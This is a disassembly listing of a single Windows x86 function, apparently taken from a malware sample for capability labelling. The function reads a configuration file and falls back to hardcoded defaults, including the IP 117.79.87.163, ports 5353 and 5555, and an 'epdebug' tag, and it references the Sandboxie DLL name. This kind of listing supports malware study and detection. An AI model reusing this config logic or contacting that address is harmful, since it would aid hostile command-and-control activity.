Function at 0x10016e8a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10058684]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.10024270
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.1001f5e0
pop ecx
pop ecx
test eax, eax
je 0x10016eff
lea edi, [ebp - 0x108]
mov byte [eax + 1], 0
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10016eef
mov esi, str.SBieDll.dll
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
lea eax, [ebp - 0x108]
push 0x1004d90c
push eax
call fcn.10020189
mov edi, eax
pop ecx
pop ecx
mov dword [ebp - 0x10c], edi
test edi, edi
je 0x100170a3
push 2
push 0xffffffffffffffb8
push edi
call fcn.10020438
push edi
push 1
push 0x10
mov esi, 0x1005bb0c
push esi
call fcn.1001e3b9
add esp, 0x1c
mov ecx, esi
call fcn.10016dea
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10016f4c
sub eax, ecx
push eax
push esi
call fcn.10016e61
pop ecx
pop ecx
test eax, eax
jne 0x10016f72
push 0x10
push str.00010000
push esi
call fcn.10020ee0
add esp, 0xc
push edi
push 1
push 0x10
mov ebx, 0x1005bb1c
push ebx
call fcn.1001e3b9
add esp, 0x10
mov ecx, ebx
call fcn.10016dea
cmp byte [0x1005bb1c], 0
jne 0x10016fa5
push 0x10
push str.epdebug
push ebx
call fcn.10020ee0
add esp, 0xc
push edi
push 1
push 8
mov ebx, 0x1005bb2c
push ebx
call fcn.1001e3b9
add esp, 0x10
mov ecx, ebx
call fcn.10016dea
mov eax, ebx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016fc4
sub eax, edi
push eax
push ebx
call fcn.10016e61
pop ecx
pop ecx
test eax, eax
jne 0x10016fea
push 8
push 0x1004f1d0
push ebx
call fcn.10020ee0
add esp, 0xc
push dword [ebp - 0x10c]
mov edi, 0x1005bb34
push 1
push 0x10
push edi
call fcn.1001e3b9
add esp, 0x10
mov ecx, edi
call fcn.10016dea
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10017025
push 0x10
push str.117.79.87.163
push edi
call fcn.10020ee0
add esp, 0xc
push dword [ebp - 0x10c]
mov edi, 0x1005bb44
push 1
push 8
push edi
call fcn.1001e3b9
mov ecx, edi
call fcn.10016dea
push edi
call fcn.100200c2
add esp, 0x14
mov dword [0x1005bb54], 0x14e9
test eax, eax
je 0x1001705d
mov dword [0x1005bb54], eax
push dword [ebp - 0x10c]
mov edi, 0x1005bb4c
push 1
push 8
push edi
call fcn.1001e3b9
mov ecx, edi
call fcn.10016dea
push edi
call fcn.100200c2
add esp, 0x14
mov dword [0x1005bb58], 0x15b3
test eax, eax
je 0x10017095
mov dword [0x1005bb58], eax
push dword [ebp - 0x10c]
call fcn.1001e614
pop ecx
jmp 0x10017100
push 0x10
push str.00010000
mov esi, 0x1005bb0c
push esi
call fcn.10020ee0
push 0x10
push str.epdebug
push 0x1005bb1c
call fcn.10020ee0
push 8
push 0x1004f1d0
mov ebx, 0x1005bb2c
push ebx
call fcn.10020ee0
push 0x10
push str.117.79.87.163
push 0x1005bb34
call fcn.10020ee0
add esp, 0x30
mov dword [0x1005bb54], 0x14e9
mov dword [0x1005bb58], 0x15b3
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10017103
sub esi, ecx
mov dl, 0xa
cmp byte [esi + 0x1005bb0b], dl
jne 0x1001711d
mov byte [esi + 0x1005bb0b], al
dec esi
cmp byte [esi + 0x1005bb0b], 0xd
jne 0x1001712d
mov byte [esi + 0x1005bb0b], 0
mov eax, 0x1005bb1c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10017135
sub eax, esi
cmp byte [eax + 0x1005bb1b], dl
jne 0x1001714d
mov byte [eax + 0x1005bb1b], cl
dec eax
lea eax, [eax + 0x1005bb1b]
cmp byte [eax], 0xd
jne 0x1001715b
mov byte [eax], 0
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x1001715e
sub ebx, ecx
cmp byte [ebx + 0x1005bb2b], dl
jne 0x10017176
mov byte [ebx + 0x1005bb2b], al
dec ebx
lea eax, [ebx + 0x1005bb2b]
cmp byte [eax], 0xd
pop ebx
jne 0x10017185
mov byte [eax], 0
mov eax, 0x1005bb34
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001718d
sub eax, esi
pop edi
pop esi
cmp byte [eax + 0x1005bb33], dl
jne 0x100171a7
mov byte [eax + 0x1005bb33], cl
dec eax
lea eax, [eax + 0x1005bb33]
cmp byte [eax], 0xd
jne 0x100171b5
mov byte [eax], 0
cmp dword [0x1005bb54], 0
jne 0x100171c8
mov dword [0x1005bb54], 0x14e9
cmp dword [0x1005bb58], 0
jne 0x100171db
mov dword [0x1005bb58], 0x15b3
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.1001d73b
leave
ret